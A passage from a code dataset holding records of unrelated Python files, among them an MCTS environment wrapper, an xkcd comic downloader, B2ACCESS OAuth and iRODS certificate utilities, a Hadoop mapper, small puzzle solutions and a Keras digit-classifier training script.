self.is_atari = is_atari\n self.n_mcts = n_mcts\n self.budget = budget\n self.mcts_env = mcts_env\n self.mcts_only = mcts_only\n self.c_dpw = c_dpw\n self.temp = temp\n self.scheduler_params = scheduler_params\n self.scheduler_budget = np.inf\n\n if not self.is_atari:\n self.mcts_env = None\n\n @staticmethod\n def schedule(x, k=1, width=1, mid=0):\n # if x == 0:\n # return 0\n # elif x == width:\n # return 1\n\n # width = float(width)\n # norm_x = x / width\n # parenth = norm_x / (1 - norm_x)\n # denom = 1 + parenth ** -k\n # return 1/denom\n max_depth = float(width)\n return (1 - 5 / max_depth) ** (x)\n\n def pi_wrapper(self, s, current_depth, max_depth):\n # Compute the reduced budget as function of the search root depth\n if self.scheduler_params:\n l = self.schedule(current_depth,\n k=self.scheduler_params[\"slope\"],\n mid=self.scheduler_params[\"mid\"],\n width=current_depth + max_depth)\n # self.scheduler_budget = max(int(self.budget * (1 - l)), self.scheduler_params[\"min_budget\"])\n self.scheduler_budget = max(int(self.budget * l), self.scheduler_params[\"min_budget\"])\n # print(\"\\nDepth: {}\\nBudget: {}\".format(current_depth, self.scheduler_budget))\n\n if self.mcts_only:\n self.search(self.n_mcts, self.c_dpw, self.mcts_env, max_depth)\n state, pi, V = self.return_results(self.temp) # TODO put 0 if the network is enabled\n self.curr_probs.append(pi)\n a_w = argmax(pi)\n # max_p = np.max(pi)\n # a_w = np.random.choice(np.argwhere(pi == max_p)[0])\n else:\n pi_w = self.get_model().predict_pi(s).flatten()\n self.curr_probs.append(pi_w)\n max_p = np.max(pi_w)\n a_w = np.random.choice(np.argwhere(pi_w == max_p)[0])\n return a_w\n\n def get_env(self):\n if self.env is None:\n self.make_env()\n return self.env\n\n def get_model(self):\n if not self.model:\n pass\n # self.model = ModelWrapper(**self.model_wrapper_params)\n # self.model.load(self.model_file)\n return self.model\n\n def get_mcts(self):\n if not self.mcts:\n self.make_mcts()\n return self.mcts\n\n def make_mcts(self):\n self.mcts = self.mcts_maker(root_index=self.root_index, root=None, model=self.get_model(),\n na=self.env.action_space.n, **self.mcts_params)\n\n def make_env(self):\n if self.game_maker is None:\n pass\n else:\n builder = self.game_maker[\"game_maker\"]\n game = self.game_maker[\"game\"]\n game_params = self.game_maker[\"game_params\"]\n self.env = builder(game, game_params)\n seed = random.randint(0, 1e7) # draw some Env seed\n # print(\"Random seed:\", seed)\n self.env.seed(seed)\n self.env.reset()\n\n def visualize(self):\n self.get_mcts().visualize()\n\n def render(self):\n try:\n env = self.render_env\n except:\n env = copy.deepcopy(self.get_env())\n self.render_env = env\n env.set_signature(self.get_env().get_signature())\n env._render()\n\n def reset(self):\n s = self.get_env().reset()\n self.make_mcts()\n self.starting_states.append(s)\n if self.curr_probs is not None:\n self.episode_probabilities.append(self.curr_probs)\n self.curr_probs = []\n return s\n\n def forward(self, a, s, r):\n if self.mcts_only:\n self.get_mcts().forward(a, s, r)\n\n def step(self, a):\n return self.get_env().step(a)\n\n def search(self, n_mcts, c_dpw, mcts_env, max_depth=200):\n self.get_mcts().search(n_mcts=n_mcts,\n c=c_dpw,\n Env=self.get_env(),\n mcts_env=mcts_env,\n max_depth=max_depth,\n budget=min(self.budget, self.scheduler_budget))\n # self.get_mcts().visualize()\n\n def return_results(self, temp):\n return self.get_mcts().return_results(temp=temp)\n","sub_path":"utils/env_wrapper.py","file_name":"env_wrapper.py","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"249710516","text":"# Copyright 2014 Anonymous7 from Reddit, Julian Andrews\n#\n# This software may be modified and distributed under the terms\n# of the MIT license. See the LICENSE file for details.\n\nfrom __future__ import absolute_import, division\n\nimport unittest\nfrom collections import Counter\n\nimport eval7.wh_rand\n\n\nclass WhRandTestCase(unittest.TestCase):\n SAMPLE_RANGE = 52\n SAMPLE_COUNT = 36500 * SAMPLE_RANGE\n DELTA = 1000\n\n def setUp(self):\n self.results = Counter(eval7.wh_rand.py_wh_randint(self.SAMPLE_RANGE)\n for i in range(self.SAMPLE_COUNT))\n\n def test_rand_int_in_range(self):\n allowed_values = list(range(52))\n for i, count in self.results.items():\n self.assertIn(i, allowed_values)\n\n def test_rand_int_is_uniform(self):\n expected_count = self.SAMPLE_COUNT / self.SAMPLE_RANGE\n for i in range(self.SAMPLE_RANGE):\n self.assertIn(i, self.results)\n self.assertAlmostEqual(\n self.results[i], expected_count, delta=self.DELTA\n )\n\nsuite = unittest.TestLoader().loadTestsFromTestCase(WhRandTestCase)\n","sub_path":"venv/Lib/site-packages/eval7-0.1.2-py3.6-win-amd64.egg/eval7/test_wh_rand.py","file_name":"test_wh_rand.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"373615966","text":"#! /usr/bin/env/python3\n#-*- coding:utf-8 -*-\n#下载xkcd漫画\n\nimport requests, os, bs4\nurl = 'http://xkcd.com'\t\t#网页的url\nos.makedirs('./xkcd',exist_ok = True)\t#将下载的内容存在文件夹中\n\nwhile url != 'http://xkcd.com/1945/':\n\t#下载网页\n\tprint('Downloading page %s' %url)\n\tres = requests.get(url)\n\tres.raise_for_status()\n\n\tsoup = bs4.BeautifulSoup(res.text, \"html.parser\")\n\n\t#得到漫画图片的URL\n\tcomicElem = soup.select('#comic img')\n\tif comicElem == []:\n\t\tprint('Could not find comic image.')\n\telse:\n\t\tcomicUrl = 'https:' + comicElem[0].get('src')\n\t\t#下载漫画图片\n\t\tres = requests.get(comicUrl)\n\t\tres.raise_for_status()\n\n\t#将文件存到相应文件夹中\n\timageFile = open(os.path.join('xkcd', os.path.basename(comicUrl)), 'wb')\n\tfor chunk in res.iter_content(100000):\n\t\timageFile.write(chunk)\n\timageFile.close()\n\n\t#得到之前漫画的URL\n\tprevLink = soup.select('a[rel=\"prev\"]')[0]\n\turl = 'http://xkcd.com' + prevLink.get('href')\n\nprint('Done')","sub_path":"downXkcd.py","file_name":"downXkcd.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"13602962","text":"import json\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom util import *\nfrom get_scores import getScores\nfrom recognition import *\nfrom new_recognition import *\n\n# Image directory\ndir = 'images_winebottles\\\\test\\\\'\n\n# List of bottles names\ngtImages = importDataset('gt')\nbottlesNames = []\nfor i in range(len(gtImages)):\n bottlesNames.append(extractFileName(gtImages[i], -1))\n\n#rawImages = importDataset('raw')\n#bottlesImages = importDataset('bottles')\n#print(len(rawImages))\n#print(len(bottlesImages))\n#print(len(gtImages))\n\ncommand = ''\nwhile command != 'quit':\n # Ask for image name\n command = input('\\nEnter the name of an image in \\'images_winebottles\\\\test\\' or \\'quit\\': ')\n print()\n if command == 'quit':\n break\n if '.' not in command:\n print('Image\\'s name miss file extension.')\n continue\n\n # Call recognition process\n image = dir + command\n response = new_recognition([image])\n if response == 0:\n break\n\n # Create .json file if it doesn't exist\n index = image.find('.')\n filename = image[:index] + '_NEW.json'\n exists = os.path.isfile(filename)\n if not exists:\n print(filename + 'doesn\\'t exists. Something went wrong...' )\n break\n\n # Else get recognition results for image\n else:\n # Open file with results of image\n with open(filename, 'r') as file:\n jsonBottle = json.load(file)\n # Copy all words found\n wordsBottle = []\n for word in jsonBottle['words']:\n if word not in wordsBottle:\n wordsBottle.append(word)\n\n # Print the name of the bottle\n scores = getScores(wordsBottle)\n indexSort = np.argsort(scores)\n #print(scores)\n indexRank = np.argmin(scores)\n bottlesNames = np.asarray(bottlesNames)\n rank = bottlesNames[indexRank]\n sort = bottlesNames[indexSort]\n print('\\nSorting bottles for similarities with the chosen one:\\n', sort)\n print('\\nThe name of the bottle is: ', rank)\n print()\n","sub_path":"new_main.py","file_name":"new_main.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"508134762","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nB2ACCESS utilities\n\"\"\"\n\nimport re\nimport json\nimport gssapi\nfrom flask import session\nfrom datetime import datetime as dt\nfrom restapi.rest.definition import EndpointResource\nfrom flask_oauthlib.client import OAuthResponse\nfrom urllib3.exceptions import HTTPError\n\nfrom restapi.services.oauth2clients import decorate_http_request\nfrom utilities.certificates import Certificates\nfrom utilities import htmlcodes as hcodes\nfrom b2stage.apis.commons import IRODS_EXTERNAL, InitObj\nfrom utilities.logs import get_logger\n\nlog = get_logger(__name__)\n\n\nclass B2accessUtilities(EndpointResource):\n\n _certs = None\n\n def create_b2access_client(self, auth, decorate=False):\n \"\"\" Create the b2access Flask oauth2 object \"\"\"\n\n b2access = auth._oauth2.get('b2access')\n # B2ACCESS requires some fixes to make authorization work...\n if decorate:\n decorate_http_request(b2access)\n return b2access\n\n def request_b2access_token(self, b2access):\n \"\"\" Use b2access client to get a token for all necessary operations \"\"\"\n resp = None\n b2a_token = None\n\n try:\n resp = b2access.authorized_response()\n except json.decoder.JSONDecodeError as e:\n log.critical(\"B2ACCESS empty:\\n%s\\nCheck your app credentials\", e)\n return (b2a_token, 'Server misconfiguration: oauth2 failed')\n except Exception as e:\n # raise e # DEBUG\n log.critical(\"Failed to get authorized in B2ACCESS: %s\", e)\n return (b2a_token, 'B2ACCESS OAUTH2 denied: %s' % e)\n if resp is None:\n return (b2a_token, 'B2ACCESS denied: unknown error')\n\n b2a_token = resp.get('access_token')\n if b2a_token is None:\n log.critical(\"No token received\")\n return (b2a_token, 'B2ACCESS: empty token')\n log.info(\"Received token: '%s'\" % b2a_token)\n return (b2a_token, tuple())\n\n def get_b2access_user_info(self, auth, b2access, b2access_token):\n \"\"\" Get user info from current b2access token \"\"\"\n\n # To use the b2access token with oauth2 client\n # We have to save it into session\n session['b2access_token'] = (b2access_token, '')\n\n # Calling with the oauth2 client\n current_user = b2access.get('userinfo')\n # log.pp(current_user)\n\n error = True\n if current_user is None:\n errstring = \"Empty response from B2ACCESS\"\n elif not isinstance(current_user, OAuthResponse):\n errstring = \"Invalid response from B2ACCESS\"\n elif current_user.status > hcodes.HTTP_TRESHOLD:\n log.error(\"Bad status: %s\" % str(current_user._resp))\n if current_user.status == hcodes.HTTP_BAD_UNAUTHORIZED:\n errstring = \"B2ACCESS token obtained is unauthorized...\"\n else:\n errstring = \"B2ACCESS token obtained failed with %s\" \\\n % current_user.status\n elif isinstance(current_user._resp, HTTPError):\n errstring = \"Error from B2ACCESS: %s\" % current_user._resp\n else:\n error = False\n\n if error:\n return None, None, errstring\n\n # Attributes you find: http://j.mp/b2access_profile_attributes\n\n # Store b2access information inside the db\n intuser, extuser = \\\n auth.store_oauth2_user(current_user, b2access_token)\n # In case of error this account already existed...\n if intuser is None:\n error = \"Failed to store access info\"\n if extuser is not None:\n error = extuser\n return None, None, error\n\n log.info(\"Stored access info\")\n\n # Get token expiration time\n response = b2access.get('tokeninfo')\n timestamp = response.data.get('exp')\n\n timestamp_resolution = 1\n # timestamp_resolution = 1e3\n\n # Convert into datetime object and save it inside db\n tok_exp = dt.fromtimestamp(int(timestamp) / timestamp_resolution)\n auth.associate_object_to_attr(extuser, 'token_expiration', tok_exp)\n\n return current_user, intuser, extuser\n\n def obtain_proxy_certificate(self, auth, extuser):\n \"\"\"\n Ask B2ACCESS a valid proxy certificate to access irods data.\n\n Note: this certificates lasts 12 hours.\n \"\"\"\n\n # To use the b2access token with oauth2 client\n # We have to save it into session\n key = 'b2access_token'\n if key not in session or session.get(key, None) is None:\n session[key] = (extuser.token, '')\n\n # # invalidate token, for debug purpose\n # session[key] = ('ABC', '')\n\n # Create the object for accessing certificates in B2ACCESS\n b2accessCA = auth._oauth2.get('b2accessCA')\n b2access_prod = auth._oauth2.get('prod')\n\n # Call the oauth2 object requesting a certificate\n if self._certs is None:\n self._certs = Certificates()\n proxy_file = self._certs.proxy_from_ca(b2accessCA, prod=b2access_prod)\n\n # Save the proxy filename into the database\n if proxy_file is None:\n log.pp(b2accessCA, \"Failed oauth2\")\n else:\n auth.store_proxy_cert(extuser, proxy_file)\n\n return proxy_file\n\n def set_irods_username(self, icom, auth, user):\n \"\"\" Find out what is the irods username and save it \"\"\"\n\n # Does this user exist?\n irods_user = icom.get_user_from_dn(user.certificate_dn)\n user_exists = irods_user is not None\n\n if not user_exists:\n # Production / Real B2SAFE and irods instance\n if IRODS_EXTERNAL:\n log.error(\"No iRODS user related to certificate\")\n return None\n # Using dockerized iRODS/B2SAFE\n else:\n\n # NOTE: dockerized version does not know about the user\n # because it has no sync script with B2ACCESS running\n\n # NOTE: mapping is for common 'eudat' user for all.\n # Of course it's only for debugging purpose.\n irods_user = 'eudat'\n # irods_user = user.unity\n\n iadmin = self.get_service_instance(\n service_name='irods', be_admin=True)\n\n # User may exist without dn/certificate\n if not iadmin.query_user_exists(irods_user):\n # Add (as normal) user inside irods\n iadmin.create_user(irods_user, admin=False)\n\n irods_user_data = iadmin.list_user_attributes(irods_user)\n if irods_user_data.get('dn') is None:\n # Add DN to user access possibility\n iadmin.modify_user_dn(\n irods_user,\n dn=user.certificate_dn, zone=irods_user_data['zone'])\n\n # Update db to save the irods user related to this user account\n auth.associate_object_to_attr(user, 'irodsuser', irods_user)\n\n # Copy certificate in the dedicated path, and update db info\n if self._certs is None:\n self._certs = Certificates()\n crt = self._certs.save_proxy_cert(\n user.proxyfile, unityid=user.unity, user=irods_user)\n auth.associate_object_to_attr(user, 'proxyfile', crt)\n\n return irods_user\n\n def check_proxy_certificate(self, extuser, e):\n\n # Init the error and use it in above cases\n error = str(e)\n\n if isinstance(e, gssapi.raw.misc.GSSError):\n # print(\"ECC\", e)\n\n # Proxy renewal operations on GSS errors\n myre = r'credential:\\s+([^\\s]+)\\s+' \\\n + r'with subject:\\s+([^\\n]+)\\s+' \\\n + r'has expired\\s+([0-9]+)\\s+([^\\s]+)\\s+ago'\n pattern = re.compile(myre)\n mall = pattern.findall(error)\n if len(mall) > 0:\n m = mall.pop()\n error = \"'%s' became invalid %s %s ago. \" \\\n % (m[1], m[2], m[3])\n log.info(error)\n\n # Automatic regeneration\n if self.refresh_proxy_certificate(extuser):\n log.info(\"Proxy refreshed\")\n return None\n else:\n error = \\\n \"B2ACCESS current Token is invalid or expired; \" + \\\n \"please request a new one at %s\" % '/auth/askauth'\n else:\n # Check other proxy problems\n myre = r':\\s+(Error reading[^\\:\\n]+:[^\\n]+\\n[^\\n]+)\\n'\n pattern = re.compile(myre)\n mall = pattern.findall(error)\n if len(mall) > 0:\n m = mall.pop()\n error = 'Failed credentials: %s' % m.replace('\\n', '')\n\n return InitObj(errors=[error])\n\n def refresh_proxy_certificate(self, extuser):\n\n auth = self.auth\n proxy_file = self.obtain_proxy_certificate(auth, extuser)\n # check for errors\n if proxy_file is None:\n return False\n else:\n log.verbose(\"New proxy: %s\" % proxy_file)\n\n iadmin = self.get_service_instance('irods', be_admin=True)\n irods_user = self.set_irods_username(iadmin, auth, extuser)\n log.very_verbose(\"Updated %s\" % irods_user)\n\n return True\n","sub_path":"projects/b2stage/backend/apis/commons/b2access.py","file_name":"b2access.py","file_ext":"py","file_size_in_byte":9352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"326152345","text":"from requests_html import HTMLSession\nimport json\nimport time\n\n\n#open browser\nsession = HTMLSession()\n\n#get website\nbaseURL = 'https://www.quora.com/search?q=graduate'\n\n\npage = session.get(baseURL)\n\n\ntitleLists = page.html.find('div.title')\n# print(titleLists)\n\nfor title in titleLists:\n # print(title.text)\n span = title.find('span')[0]\n\n print(span.text)\n\n\n\n\n\n# for list in orderList:\n# print(list.text)\n\n# listItems = allItems.find('li.work.blurb.group')\n#\n# for item in listItems:\n# heading =item.find('h4.heading')[0]\n# link =heading.find('a')\n# title = link[0]\n# authors = link[1:]\n# authorNames = []\n# for author in authors:\n# authorNames.append(author.text)\n#\n# infoObject = {\n# 'title':title.text,\n# 'author':'&'.join(authorNames)\n# }\n# allFans.append(infoObject)\n# print(infoObject)\n# print('---')\n#\n# with open('data_file.json','w') as write_file:\n# json.dump(allFans,write_file,indent = 4)\n","sub_path":"web scraping/script2.py","file_name":"script2.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"89673499","text":"#!/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nPython Challenge 4\nhttp://www.pythonchallenge.com/pc/def/linkedlist.php\n\nimage:\ntwo wooden dolls on either side of a log, with two-handle saw\n\nhint:\nimage hover text:\nlinkedlist.php?nothing=12345\n\nhint2:\ntitle = follow the chain\n\nhint3:\ncomment in source:\nurllib may help. DON'T TRY ALL NOTHINGS, since it will never \nend. 400 times is more than enough.\n\nnote:\nand the next nothing is 44827...\nand the next nothing is 45439...\n\napproach:\n\nloop through a range (up to 400)\nuse urllib to open page, read html text.\ngrab numbers out of html body\nrebind nothing to numbers\nreturn last url\n\nquestions:\n\nare numbers always same number of digits? \nno\nis body text before numbers always the same?\nno\nthen need to find a way to grab numbers out of text w/o string slicing\n\n\"\"\"\nfrom pprint import pprint\nimport urllib2\n\ndef chainsaw():\n\n base_url = \"http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=\"\n num = \"12345\"\n num_dict={}\n\n for x in range(401):\n new_url = base_url + num\n response = urllib2.urlopen(new_url)\n html = response.read()\n # grab numbers out of html body\n num = ''.join([str(i) for i in html.split() if i.isdigit()])\n if num in num_dict:\n break\n else:\n num_dict[num] = num_dict.get(num, 1)\n\n \n return new_url\n\npprint(chainsaw())\n\n\n\"\"\"\nfollowing the nothings 400 times returns:\nhttp://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=85501\nwhich gives:\nand the next nothing is 43650\n\ncreating a dict to see what is going on. is the list circular?\n\nthere are several numbers that appear only once, and some twice.\nthere are also a couple of empty results.\n\nrunning until a duplicated num occurs returns (the empty num/ break!):\nhttp://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=\nwhich gives:\nand the next nothing is 6711\n\n...\ntry the num before the break?\nhttp://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=66831\ngive:\npeak.html\n\nyes!!\nhttp://www.pythonchallenge.com/pc/def/peak.html\n\"\"\"\n\n","sub_path":"pc/pc_4.py","file_name":"pc_4.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"597283972","text":"from upbit_websocket import UpbitWebsocketThread\n\n\nclass UpbitTrade(UpbitWebsocketThread):\n\n def __init__(\n self,\n ):\n\n on_open = self.on_open\n super().__init__(on_open)\n\n def gen_params(\n self,\n ):\n\n type_ = \"trade\"\n codes = [\"KRW-BTC\"]\n\n return type_, codes\n\n\nif __name__ == \"__main__\":\n\n thread = UpbitTrade()\n thread.start()\n","sub_path":"laplace_trading/crawler/upbit/upbit_trade.py","file_name":"upbit_trade.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"652889483","text":"f = open(\"input.txt\",mode='r')\ndata = f.readline()[:-1]\nfinished_index = 0#表示已经完全反应的字符串长度\nlast_len = -1\nwhile True:\n for i in range(finished_index,len(data)-1):\n # print(i)\n letter1 = ord(data[i])\n letter2 = ord(data[i+1])\n c=abs(letter1-letter2)\n if c == 32:\n front_half = data[:i]\n last_half = data[i+2:]\n data = front_half+last_half\n if finished_index < 0:\n finished_index = 0\n else:\n finished_index = i-1\n break\n current_len = len(data)\n print(\"current len\",current_len)\n if (current_len == last_len):\n print(\"final len\",current_len)\n break\n else:\n last_len = current_len\n\npass","sub_path":"Day5/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"60639643","text":"#!/usr/bin/env python3\n# @author: 2018 (c) Ariel Vallarino, Jorge Altamirano\n# @description: JOIN entre archivos en mapper: airlines.csv, flights.csv\n# @license: GPL v2\n# airlines.csv: IATA_CODE AIRLINE\n# airports.csv: IATA_CODE AIRPORT CITY STATE COUNTRY LATITUDE LONGITUDE\n# flights.csv: YEAR MONTH DAY DAY_OF_WEEK AIRLINE FLIGHT_NUMBER TAIL_NUMBER ORIGIN_AIRPORT \n# DESTINATION_AIRPORT SCHEDULED_DEPARTURE DEPARTURE_TIME DEPARTURE_DELAY TAXI_OUT\n# WHEELS_OFF SCHEDULED_TIME ELAPSED_TIME AIR_TIME DISTANCE WHEELS_ON TAXI_IN \n# SCHEDULED_ARRIVAL ARRIVAL_TIME ARRIVAL_DELAY DIVERTED CANCELLED CANCELLATION_REASON\n# AIR_SYSTEM_DELAY SECURITY_DELAY AIRLINE_DELAY LATE_AIRCRAFT_DELAY WEATHER_DELAY\nimport sys\n\nairline = dict()\nflights = list()\n\nairlinestxt = open('airlines.csv', 'r')\nfor line in airlinestxt:\n line = line.strip() #hacer trim\n line2 = line.split(',') #separar\n if len(line2) == 2: #detectar airlines\n airline[line2[0]] = line2[1] #guardar en dict las aerolíneas\nairlinestxt.close()\n\nlines = sys.stdin.readlines()\nlines.sort()\nfor line in lines:\n line = line.strip() #hacer trim nuevamente\n line2 = line.split(',') #separar nuevamente\n if len(line2) == 31 and line2[24] == \"1\": #detectar cancelled flights \n flights.append([line2[4],airline[line2[4]]]) #hacer join sólo de vuelos cancelados\n\nfor flight in flights:\n print(\"%s\\t%s\"%(flight[0],flight[1])) #imprimir vuelos cancelados\n","sub_path":"alumnos/jorge_altamirano/tarea_3/parte_2/flights_mapperjoin2/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"571794439","text":"# D:/StudyProject/python学习\n# -*- coding:utf-8 -*-\n# @Time : 2019/7/24 17:41\n# @Author : xupeng\n# @File : hm_04_buy_apple.py\n\n# 收银员输入苹果的单价以及购买的重量,计算并输出付款金额\nprice = float(input('请输入单价:'))\nweight = float(input('请输入重量:'))\ncost = price * weight\nperformance = weight / cost\n\nprint(\"苹果单价%.02f元/斤,购买了%.02f斤,共花费%.02f元\" % (price, weight, cost))\nprint(\"性价比为%.2f%%\" % (performance * 100))\n","sub_path":"01_Python基础/hm_04_buy_apple.py","file_name":"hm_04_buy_apple.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"66802268","text":"from pybricks.hubs import EV3Brick\nfrom pybricks.ev3devices import (Motor, TouchSensor, ColorSensor,\n InfraredSensor, UltrasonicSensor, GyroSensor)\nfrom pybricks.parameters import Port, Stop, Direction, Button, Color\nfrom pybricks.tools import wait, StopWatch, DataLog\nfrom pybricks.robotics import DriveBase\nfrom pybricks.media.ev3dev import SoundFile, ImageFile\nimport operator\n\nclass Roboter():\n def __init__(self):\n self.ev3 = EV3Brick()\n self.motorB = Motor(Port.B)\n self.motorC = Motor(Port.C)\n self.licht1 = ColorSensor(Port.S1)\n self.licht2 = ColorSensor(Port.S2)\n self.driveBase = DriveBase(self.motorB, self.motorC, 94, 130)\n\n self.ops = {'>': operator.gt,\n '<': operator.lt,\n '>=': operator.ge,\n '<=': operator.le,\n '=': operator.eq,\n '!=': operator.ne}\n\n def beep(self):\n self.ev3.speaker.beep()\n\n def beschleunigen(self, v:int, step=40):\n v_start = self.driveBase.state()[1]\n if abs(v - v_start) < step:\n return\n delta_v = (v - v_start)/step\n for i in range(1, step+1):\n self.driveBase.drive(v_start + i * delta_v, 0)\n wait(30)\n\n def drive(self, v:int):\n self.beschleunigen(v)\n self.driveBase.drive(v, 0)\n\n def driveUntil(self, v:int, v_end:int, fn, *args):\n self.driveBase.reset()\n self.beschleunigen(v)\n self.driveBase.drive(v, 0)\n while fn(*args):\n pass\n self.beschleunigen(v_end)\n\n def unlockMotor(self):\n self.driveBase.stop()\n \n def brake(self):\n self.motorB.brake()\n self.motorC.brake()\n\n def resetMotor(self, motor:Motor, angle=0):\n motor.reset_angle(angle)\n\n def getMotorLambda(self, operator):\n return lambda motor, x: self.ops[operator](motor.angle(), x)\n\n def getSensorReflectionLambda(self, operator):\n return lambda sensor, x: self.ops[operator](sensor.reflection(), x)\n\n","sub_path":"BasisRoboter/Roboter.py","file_name":"Roboter.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"520599001","text":"def get_order(tasks):\n order = []\n for item in tasks:\n order.append(item.index)\n return order\n\n\ndef makespan(order, tasks, numb_of_machines):\n times = []\n for j in range(0, numb_of_machines):\n times.append(0)\n for i in order:\n times[0] += tasks[i].times[0]\n for j in range(1, numb_of_machines):\n if times[j] < times[j-1]:\n times[j] = times[j-1]\n times[j] += tasks[i].times[j]\n\n return max(times)\n","sub_path":"Lab1/src/makespan.py","file_name":"makespan.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"285927139","text":"# -*- coding: utf-8 -*-\nimport changer\nimport unittest\nfrom lxml import etree\nfrom datetime import datetime\n\n\nclass TestGetAccountsWithCard(unittest.TestCase):\n def test_good_xml(self):\n file = open('test/get_account_xml_good.xml', 'r')\n file_xml = file.read()\n file.close()\n root = etree.fromstring(file_xml.encode('utf-8'))\n account_objects = root.findall(\"account\")\n result = changer.get_accounts(account_objects)\n self.assertEqual(result, [tuple((\"1234\",\n datetime.strptime('2015-02-23T19:50:04+0000', '%Y-%m-%dT%H:%M:%S%z')))])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/test_get_accounts_with_card.py","file_name":"test_get_accounts_with_card.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"380518776","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom __future__ import absolute_import\r\n\r\nimport tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport sys\r\nimport time\r\nimport myLoadData\r\n\r\nif __name__ == '__main__':\r\n start = time.clock()\r\n\r\n # Load data\r\n raw_train_data, raw_train_label_list = myLoadData.load_train_data(os.path.join('data', 'train.csv')) # train data\r\n # generate train data and validation data\r\n train_data, train_label_list, validation_data, validation_label_list = \\\r\n myLoadData.train_data_split(raw_train_data, raw_train_label_list)\r\n\r\n train_label = myLoadData.list2one_hot(train_label_list) # convert to one hot form\r\n validation_label = myLoadData.list2one_hot(validation_label_list) # convert to one hot form\r\n\r\n test_data = myLoadData.load_test_data(os.path.join('data', 'test.csv')) # test data\r\n\r\n # convert data type\r\n train_data = train_data.astype(np.float32)\r\n validation_data = validation_data.astype(np.float32)\r\n train_label = train_label.astype(np.float32)\r\n validation_label = validation_label.astype(np.float32)\r\n\r\n test_data = test_data.astype(np.float32)\r\n\r\n # Convert the pixel values from integers between 0 and 255 to floats between 0 and 1\r\n train_data /= 255\r\n validation_data /= 255\r\n test_data /= 255\r\n\r\n tf.keras.backend.clear_session()\r\n\r\n if not ('MLP_keras.h5' in os.listdir()):\r\n\r\n model = tf.keras.Sequential()\r\n\r\n model.add(tf.keras.layers.Dense(300, activation=tf.nn.relu, bias_regularizer=tf.keras.regularizers.l2(0.01), input_shape=(784,), name='dense_1')) # [None, 780]\r\n model.add(tf.keras.layers.Dropout(0.2))\r\n model.add(tf.keras.layers.Dense(120, activation=tf.nn.relu, bias_regularizer=tf.keras.regularizers.l2(0.01), name='dense_2')) # [None, 150]\r\n model.add(tf.keras.layers.Dropout(0.2))\r\n model.add(tf.keras.layers.Dense(10, activation=tf.nn.softmax, name='dense_3')) # <- [None, 10]\r\n # 注:每个层都自定义名称,用于tensorboard观察\r\n\r\n optimizer = tf.keras.optimizers.Adam(lr=0.001)\r\n\r\n model.compile(loss='categorical_crossentropy',\r\n optimizer=optimizer,\r\n metrics=['accuracy'])\r\n\r\n model.summary()\r\n\r\n BATCH_SIZE = 128\r\n EPOCHS = 30\r\n\r\n callbacks = [tf.keras.callbacks.EarlyStopping(monitor='val_loss', min_delta=0, patience=5),\r\n tf.keras.callbacks.ReduceLROnPlateau(monitor='val_loss', factor=0.2, patience=1, min_lr=0.000015*0.2),\r\n tf.keras.callbacks.TensorBoard(log_dir='logs', histogram_freq=0)\r\n ]\r\n fit_history = model.fit(train_data, train_label, epochs=EPOCHS, batch_size=BATCH_SIZE,\r\n validation_data=(validation_data, validation_label),\r\n callbacks=callbacks)\r\n\r\n fig_acc = plt.figure()\r\n plt.plot(fit_history.history['acc'])\r\n plt.plot(fit_history.history['val_acc'])\r\n plt.title('model accuracy')\r\n plt.ylabel('accuracy')\r\n plt.xlabel('epoch')\r\n plt.legend(['train', 'test'], loc='lower right')\r\n fig_acc.savefig(r'fit_trend\\MLP_keras_acc.png')\r\n fig_loss = plt.figure()\r\n plt.plot(fit_history.history['loss'])\r\n plt.plot(fit_history.history['val_loss'])\r\n plt.title('model loss')\r\n plt.ylabel('loss')\r\n plt.xlabel('epoch')\r\n plt.legend(['train', 'test'], loc='upper right')\r\n fig_loss.savefig(r'fit_trend\\MLP_keras_loss.png')\r\n\r\n else:\r\n model = tf.keras.models.load_model('MLP_keras.h5')\r\n model.summary()\r\n\r\n print(\"Go to Prediction ... \")\r\n test_label = model.predict(test_data, batch_size=128)\r\n test_label_list = 